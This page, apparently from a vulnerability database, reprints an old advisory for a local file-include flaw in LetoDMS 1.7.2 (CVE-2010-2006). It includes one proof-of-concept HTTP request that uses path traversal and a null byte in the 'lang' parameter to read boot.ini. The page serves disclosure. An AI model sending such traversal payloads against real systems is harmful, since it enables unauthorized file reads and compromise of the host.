Recent Vulnerabilities Research Posts Trends Blog About Contact

Related Vulnerabilities: CVE-2010-2006

Publish Date: 15 Jan 2010

                							

                source: http://www.securityfocus.com/bid/37828/info

LetoDMS (formerly known as MyDMS) is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying computer; other attacks are also possible.

LetoDMS 1.7.2 is vulnerable; other versions may also be affected.


GET /mydms/op/op.Login.php?login=guest&amp;sesstheme=&amp;lang=../../../../boot.ini%00&amp;sesstheme= HTTP/1.1

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

LetoDms 1.4.x - 'lang' Local File Inclusion

Vulmon Search

About

Products

Connect